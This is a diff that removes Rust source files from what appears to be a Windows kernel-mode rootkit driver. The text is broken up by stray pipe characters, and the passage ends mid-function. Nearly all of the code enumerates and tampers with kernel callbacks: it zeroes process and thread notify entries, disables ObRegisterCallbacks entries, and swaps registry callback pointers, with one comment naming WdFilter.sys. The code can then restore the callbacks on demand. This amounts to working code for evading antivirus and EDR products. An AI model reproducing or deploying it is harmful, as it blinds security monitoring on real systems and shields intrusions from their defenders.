||||||
const MAX_CALLBACK: usize = 100;
|
|
||||||
|
|
||||||
/// Stores information about removed callbacks.
|
|
||||||
///
|
|
||||||
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
|
||||||
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
|
||||||
pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy<Mutex<Vec<CallbackRestaure>>> =
|
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
|
||||||
|
|
||||||
impl Callback {
|
|
||||||
/// Restores a previously removed callback by its index.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
|
||||||
/// * `index` - The index of the callback to restore.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
|
||||||
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
|
||||||
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS> {
|
|
||||||
// Lock the removed callbacks to ensure thread-safe access
|
|
||||||
let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
|
||||||
|
|
||||||
// Find the removed callback by its index
|
|
||||||
let index = callbacks
|
|
||||||
.iter()
|
|
||||||
.position(|c| c.callback == callback && c.index == index)
|
|
||||||
.ok_or(ShadowError::IndexNotFound(index))?;
|
|
||||||
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let address = match find_callback_address(&callback)? {
|
|
||||||
CallbackResult::Notify(addr) => addr,
|
|
||||||
_ => return Err(ShadowError::CallbackNotFound),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Restore the callback by writing back its address
|
|
||||||
let addr = address.offset((callbacks[index].index * 8) as isize);
|
|
||||||
*(addr as *mut u64) = callbacks[index].address;
|
|
||||||
|
|
||||||
// Remove the restored callback from the saved list
|
|
||||||
callbacks.remove(index);
|
|
||||||
|
|
||||||
Ok(STATUS_SUCCESS)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Removes a callback from a notification routine.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to remove.
|
|
||||||
/// * `index` - The index of the callback to remove.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
|
||||||
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
|
||||||
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS> {
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let address = match find_callback_address(&callback)? {
|
|
||||||
CallbackResult::Notify(addr) => addr,
|
|
||||||
_ => return Err(ShadowError::CallbackNotFound),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Calculate the callback address to be removed
|
|
||||||
let addr = address.offset((index as isize) * 8);
|
|
||||||
|
|
||||||
// Save the removed callback information
|
|
||||||
let callback = CallbackRestaure {
|
|
||||||
index,
|
|
||||||
callback,
|
|
||||||
address: *(addr as *mut u64),
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
|
||||||
callback_info.push(callback);
|
|
||||||
|
|
||||||
// Remove the callback by setting its address to 0
|
|
||||||
*(addr as *mut u64) = 0;
|
|
||||||
|
|
||||||
Ok(STATUS_SUCCESS)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Methods related to callback enumeration
|
|
||||||
impl Callback {
|
|
||||||
/// Enumerates the modules associated with callbacks and populates callback information.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to enumerate.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
|
|
||||||
/// * `Err(ShadowError)` - if the callback cannot be found.
|
|
||||||
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>> {
|
|
||||||
let mut callbacks = Vec::new();
|
|
||||||
|
|
||||||
// Get the address of the callback from the system
|
|
||||||
let address = match find_callback_address(&callback)? {
|
|
||||||
CallbackResult::Notify(addr) => addr,
|
|
||||||
_ => return Err(ShadowError::CallbackNotFound),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Iterate over loaded modules to find the module corresponding to each callback
|
|
||||||
let (mut ldr_data, module_count) = modules()?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
for i in 0..64 {
|
|
||||||
let addr = address.cast::<u8>().offset(i * 8);
|
|
||||||
let callback = *(addr as *const u64);
|
|
||||||
|
|
||||||
if callback == 0 {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Iterate through the loaded modules to find the one associated with the callback
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
|
||||||
|
|
||||||
// Check if the callback addresses fall within the module's memory range
|
|
||||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Store the callback information
|
|
||||||
let mut name = [0u16; 256];
|
|
||||||
let length = core::cmp::min(buffer.len(), 255);
|
|
||||||
name[..length].copy_from_slice(&buffer[..length]);
|
|
||||||
|
|
||||||
callbacks.push(CallbackInfoOutput {
|
|
||||||
index: i as u8,
|
|
||||||
address: raw_pointer as usize,
|
|
||||||
name,
|
|
||||||
..Default::default()
|
|
||||||
});
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Move to the next module
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset the module list pointer for the next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(callbacks)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Enumerates all removed callbacks and provides detailed information.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
|
|
||||||
/// * `Err(ShadowError)` - if the operation fails.
|
|
||||||
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>> {
|
|
||||||
let mut callbacks = Vec::new();
|
|
||||||
|
|
||||||
let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
|
||||||
let (mut ldr_data, module_count) = modules()?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
// Iterate over the removed callbacks
|
|
||||||
for (i, callback) in callbacks_removed.iter().enumerate() {
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
|
||||||
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
|
|
||||||
|
|
||||||
// Check if the callback addresses fall within the module's memory range
|
|
||||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Store the callback information
|
|
||||||
let mut name = [0u16; 256];
|
|
||||||
let length = core::cmp::min(buffer.len(), 255);
|
|
||||||
name[..length].copy_from_slice(&buffer[..length]);
|
|
||||||
|
|
||||||
callbacks.push(CallbackInfoOutput {
|
|
||||||
index: callback.index as u8,
|
|
||||||
address: callback.address as usize,
|
|
||||||
name,
|
|
||||||
..Default::default()
|
|
||||||
});
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Move to the next module
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset the module list pointer for the next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(callbacks)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,298 +0,0 @@
|
|||||||
use alloc::vec::Vec;
|
|
||||||
|
|
||||||
use spin::{Lazy, Mutex};
|
|
||||||
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
|
|
||||||
|
|
||||||
use common::{
|
|
||||||
enums::Callbacks,
|
|
||||||
structs::CallbackInfoOutput
|
|
||||||
};
|
|
||||||
use crate::data::{
|
|
||||||
CallbackRestaureOb,
|
|
||||||
LDR_DATA_TABLE_ENTRY,
|
|
||||||
OBCALLBACK_ENTRY
|
|
||||||
};
|
|
||||||
use crate::callback::{
|
|
||||||
CallbackResult,
|
|
||||||
find_callback_address
|
|
||||||
};
|
|
||||||
use crate::{
|
|
||||||
Result,
|
|
||||||
error::ShadowError,
|
|
||||||
lock::with_push_lock_exclusive,
|
|
||||||
modules,
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Structure representing the Callback Object.
|
|
||||||
pub struct CallbackOb;
|
|
||||||
|
|
||||||
const MAX_CALLBACK: usize = 100;
|
|
||||||
|
|
||||||
/// Stores information about removed callbacks.
|
|
||||||
///
|
|
||||||
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
|
||||||
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
|
||||||
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> =
|
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
|
||||||
|
|
||||||
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
|
|
||||||
impl CallbackOb {
|
|
||||||
/// Restores a previously removed callback by its index.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
|
||||||
/// * `index` - The index of the callback to restore.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
|
||||||
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
|
||||||
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS> {
|
|
||||||
// Lock the removed callbacks to ensure thread-safe access
|
|
||||||
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
|
|
||||||
|
|
||||||
// Find the callback by its index
|
|
||||||
let index = callbacks
|
|
||||||
.iter()
|
|
||||||
.position(|c| c.callback == callback && c.index == index)
|
|
||||||
.ok_or(ShadowError::IndexNotFound(index))?;
|
|
||||||
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let full_object = match find_callback_address(&callback)? {
|
|
||||||
CallbackResult::Object(addr) => addr,
|
|
||||||
_ => return Err(ShadowError::CallbackNotFound),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Acquire exclusive access to the TypeLock associated with the callback object
|
|
||||||
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
|
||||||
with_push_lock_exclusive(lock, || {
|
|
||||||
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
|
|
||||||
// Traverse the list of callback entries to find the one matching the removed entry
|
|
||||||
while next != current {
|
|
||||||
if !(*next).Enabled
|
|
||||||
&& !next.is_null()
|
|
||||||
&& (*next).Entry as u64 == callbacks[index].entry
|
|
||||||
{
|
|
||||||
// Re-enable the callback and remove it from the removed list
|
|
||||||
(*next).Enabled = true;
|
|
||||||
callbacks.remove(index);
|
|
||||||
|
|
||||||
return Ok(STATUS_SUCCESS);
|
|
||||||
}
|
|
||||||
|
|
||||||
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(ShadowError::RestoringFailureCallback)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Removes a callback from a notification routine.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to remove.
|
|
||||||
/// * `index` - The index of the callback to remove.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
|
||||||
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
|
||||||
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS> {
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let full_object = match find_callback_address(&callback)? {
|
|
||||||
CallbackResult::Object(addr) => addr,
|
|
||||||
_ => return Err(ShadowError::CallbackNotFound),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Acquire exclusive access to the TypeLock associated with the callback object
|
|
||||||
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
|
||||||
with_push_lock_exclusive(lock, || {
|
|
||||||
let mut i = 0;
|
|
||||||
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
|
||||||
|
|
||||||
// Traverse the list of callback entries
|
|
||||||
while next != current {
|
|
||||||
if i == index {
|
|
||||||
if (*next).Enabled {
|
|
||||||
// Store the removed callback in the list of removed callbacks
|
|
||||||
let callback_restaure = CallbackRestaureOb {
|
|
||||||
index,
|
|
||||||
callback,
|
|
||||||
entry: (*next).Entry as u64,
|
|
||||||
pre_operation: (*next)
|
|
||||||
.PreOperation
|
|
||||||
.map_or(0u64, |pre_op| pre_op as u64),
|
|
||||||
post_operation: (*next)
|
|
||||||
.PostOperation
|
|
||||||
.map_or(0u64, |post_op| post_op as u64),
|
|
||||||
};
|
|
||||||
|
|
||||||
// Disable the callback
|
|
||||||
(*next).Enabled = false;
|
|
||||||
callback_info.push(callback_restaure);
|
|
||||||
}
|
|
||||||
|
|
||||||
return Ok(STATUS_SUCCESS);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Move to the next entry in the callback list
|
|
||||||
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
i += 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(ShadowError::RemoveFailureCallback)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Methods related to callback enumeration
|
|
||||||
impl CallbackOb {
|
|
||||||
/// Enumerates the modules associated with callbacks and populates callback information.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to enumerate.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
|
|
||||||
/// * `Err(ShadowError)` - if the callback cannot be found.
|
|
||||||
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>> {
|
|
||||||
let mut callbacks = Vec::new();
|
|
||||||
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let full_object = match find_callback_address(&callback)? {
|
|
||||||
CallbackResult::Object(addr) => addr,
|
|
||||||
_ => return Err(ShadowError::CallbackNotFound),
|
|
||||||
};
|
|
||||||
|
|
||||||
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
let mut list_objects = Vec::new();
|
|
||||||
|
|
||||||
// Collect the information about each callback
|
|
||||||
while next != current {
|
|
||||||
let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64);
|
|
||||||
let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64);
|
|
||||||
|
|
||||||
list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr)));
|
|
||||||
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Iterate over loaded modules to find the module corresponding to each callback
|
|
||||||
let (mut ldr_data, module_count) = modules()?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
let mut current_index = 0;
|
|
||||||
|
|
||||||
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
|
|
||||||
if !enabled {
|
|
||||||
current_index += 1;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
|
||||||
let pre_operation = addrs.0;
|
|
||||||
let post_operation = addrs.1;
|
|
||||||
|
|
||||||
// Check if the callback addresses fall within the module's memory range
|
|
||||||
if pre_operation > start_address as u64 && pre_operation < end_address
|
|
||||||
|| post_operation > start_address as u64 && post_operation < end_address
|
|
||||||
{
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Store the callback information
|
|
||||||
let mut name = [0u16; 256];
|
|
||||||
let length = core::cmp::min(buffer.len(), 255);
|
|
||||||
name[..length].copy_from_slice(&buffer[..length]);
|
|
||||||
|
|
||||||
callbacks.push(CallbackInfoOutput {
|
|
||||||
index: current_index,
|
|
||||||
name,
|
|
||||||
pre_operation: pre_operation as usize,
|
|
||||||
post_operation: post_operation as usize,
|
|
||||||
address: 0,
|
|
||||||
});
|
|
||||||
|
|
||||||
current_index += 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Move to the next module
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset ldr_data for the next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(callbacks)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Enumerates all removed callbacks and provides detailed information.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
|
|
||||||
/// * `Err(ShadowError)` - if the operation fails.
|
|
||||||
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>> {
|
|
||||||
let mut callbacks = Vec::new();
|
|
||||||
let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock();
|
|
||||||
let (mut ldr_data, module_count) = modules()?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
// Iterate over the removed callbacks
|
|
||||||
for (i, callback) in callbacks_removed.iter().enumerate() {
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
|
|
||||||
// Check if the callback addresses fall within the module's memory range
|
|
||||||
if callback.pre_operation > start_address as u64
|
|
||||||
&& callback.pre_operation < end_address
|
|
||||||
|| callback.post_operation > start_address as u64
|
|
||||||
&& callback.post_operation < end_address
|
|
||||||
{
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Store the removed callback information
|
|
||||||
let mut name = [0u16; 256];
|
|
||||||
let length = core::cmp::min(buffer.len(), 255);
|
|
||||||
name[..length].copy_from_slice(&buffer[..length]);
|
|
||||||
|
|
||||||
callbacks.push(CallbackInfoOutput {
|
|
||||||
index: callback.index as u8,
|
|
||||||
name,
|
|
||||||
pre_operation: callback.pre_operation as usize,
|
|
||||||
post_operation: callback.post_operation as usize,
|
|
||||||
address: 0,
|
|
||||||
});
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Move to the next module
|
|
||||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset the module list pointer for the next callback
|
|
||||||
ldr_data = start_entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(callbacks)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,283 +0,0 @@
|
|||||||
use alloc::vec::Vec;
|
|
||||||
|
|
||||||
use spin::{Lazy, Mutex};
|
|
||||||
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
|
|
||||||
|
|
||||||
use common::{
|
|
||||||
enums::Callbacks,
|
|
||||||
structs::CallbackInfoOutput
|
|
||||||
};
|
|
||||||
use crate::data::{
|
|
||||||
CM_CALLBACK,
|
|
||||||
CallbackRestaure,
|
|
||||||
LDR_DATA_TABLE_ENTRY
|
|
||||||
};
|
|
||||||
use crate::{
|
|
||||||
Result,
|
|
||||||
callback::CallbackResult,
|
|
||||||
error::ShadowError,
|
|
||||||
};
|
|
||||||
use crate::{
|
|
||||||
callback::find_callback_address,
|
|
||||||
lock::with_push_lock_exclusive,
|
|
||||||
modules
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Structure representing the Callback Registry.
|
|
||||||
pub struct CallbackRegistry;
|
|
||||||
|
|
||||||
const MAX_CALLBACK: usize = 100;
|
|
||||||
|
|
||||||
/// Stores information about removed callbacks.
|
|
||||||
///
|
|
||||||
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
|
||||||
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
|
||||||
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> =
|
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
|
|
||||||
|
|
||||||
/// Implement a feature for the callback CmRegisterCallbackEx.
|
|
||||||
impl CallbackRegistry {
|
|
||||||
/// Restores a previously removed callback by its index.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
|
||||||
/// * `index` - The index of the callback to restore.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
|
||||||
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
|
||||||
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS> {
|
|
||||||
// Lock the removed callbacks to ensure thread-safe access
|
|
||||||
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
|
||||||
|
|
||||||
// Locating the target callback index
|
|
||||||
let index = callbacks_info
|
|
||||||
.iter()
|
|
||||||
.position(|c| c.callback == callback && c.index == index)
|
|
||||||
.ok_or(ShadowError::IndexNotFound(index))?;
|
|
||||||
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let (callback, count, lock) =
|
|
||||||
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
|
|
||||||
addr
|
|
||||||
} else {
|
|
||||||
return Err(ShadowError::CallbackNotFound);
|
|
||||||
};
|
|
||||||
|
|
||||||
// Getting a lock to perform the restore operation
|
|
||||||
with_push_lock_exclusive(lock as *mut u64, || {
|
|
||||||
let count = *(count as *mut u32) + 1;
|
|
||||||
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
|
||||||
|
|
||||||
for i in 0..count {
|
|
||||||
if pcm_callback.is_null() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if i == index as u32 {
|
|
||||||
// If the index is matched, restore from the list
|
|
||||||
(*pcm_callback).Function = callbacks_info[index].address;
|
|
||||||
callbacks_info.remove(index);
|
|
||||||
|
|
||||||
return Ok(STATUS_SUCCESS);
|
|
||||||
}
|
|
||||||
|
|
||||||
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(ShadowError::RestoringFailureCallback)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Removes a callback from the specified routine.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `target_callback` - Pointer to the callback information input.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
|
||||||
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
|
||||||
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS> {
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let (callbacks, count, lock) =
|
|
||||||
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
|
|
||||||
addr
|
|
||||||
} else {
|
|
||||||
return Err(ShadowError::CallbackNotFound);
|
|
||||||
};
|
|
||||||
|
|
||||||
// Getting a lock to perform the remove operation
|
|
||||||
with_push_lock_exclusive(lock as *mut u64, || {
|
|
||||||
let count = *(count as *mut u32) + 1;
|
|
||||||
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
|
||||||
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
|
||||||
let mut prev_addr = 0;
|
|
||||||
|
|
||||||
for i in 0..count {
|
|
||||||
if i == 1 {
|
|
||||||
// Here we make an exchange, changing the target address to `WdFilter.sys`
|
|
||||||
prev_addr = (*pcm_callback).Function;
|
|
||||||
}
|
|
||||||
|
|
||||||
if pcm_callback.is_null() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if i == index as u32 {
|
|
||||||
let callback_restaure = CallbackRestaure {
|
|
||||||
index,
|
|
||||||
callback,
|
|
||||||
address: (*pcm_callback).Function,
|
|
||||||
..Default::default()
|
|
||||||
};
|
|
||||||
|
|
||||||
// If the index is matched, remove from the list
|
|
||||||
(*pcm_callback).Function = prev_addr;
|
|
||||||
callbacks_info.push(callback_restaure);
|
|
||||||
|
|
||||||
return Ok(STATUS_SUCCESS);
|
|
||||||
}
|
|
||||||
|
|
||||||
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(ShadowError::RemoveFailureCallback)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Methods related to callback enumeration
|
|
||||||
impl CallbackRegistry {
|
|
||||||
/// Searches for a module associated with a callback and updates callback information.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `target_callback` - Pointer to the callback information input.
|
|
||||||
/// * `callback_info` - Pointer to the callback information output.
|
|
||||||
/// * `information` - Pointer to a variable to store information size.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
|
||||||
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>> {
|
|
||||||
// Retrieve the callback address based on the callback type
|
|
||||||
let (callback, count, lock) =
|
|
||||||
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
|
|
||||||
addr
|
|
||||||
} else {
|
|
||||||
return Err(ShadowError::CallbackNotFound);
|
|
||||||
};
|
|
||||||
|
|
||||||
let (mut ldr_data, module_count) = modules()?;
|
|
||||||
let start_entry = ldr_data;
|
|
||||||
|
|
||||||
let mut callbacks = Vec::new();
|
|
||||||
let count = *(count as *mut u32) + 1;
|
|
||||||
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
|
||||||
|
|
||||||
with_push_lock_exclusive(lock as *mut u64, || {
|
|
||||||
for i in 0..count as isize {
|
|
||||||
if pcm_callback.is_null() {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Iterate over the loaded modules
|
|
||||||
for _ in 0..module_count {
|
|
||||||
let start_address = (*ldr_data).DllBase;
|
|
||||||
let image_size = (*ldr_data).SizeOfImage;
|
|
||||||
let end_address = start_address as u64 + image_size as u64;
|
|
||||||
let addr = (*pcm_callback).Function;
|
|
||||||
|
|
||||||
if addr > start_address as u64 && addr < end_address {
|
|
||||||
let buffer = core::slice::from_raw_parts(
|
|
||||||
(*ldr_data).BaseDllName.Buffer,
|
|
||||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
// Store the callback information
|
|
||||||
let mut name = [0u16; 256];
|
|
||||||
let length = core::cmp::min(buffer.len(), 255);
|
|
||||||
name[..length].copy_from_slice(&buffer[..length]);
|
|
||||||
|
|
||||||
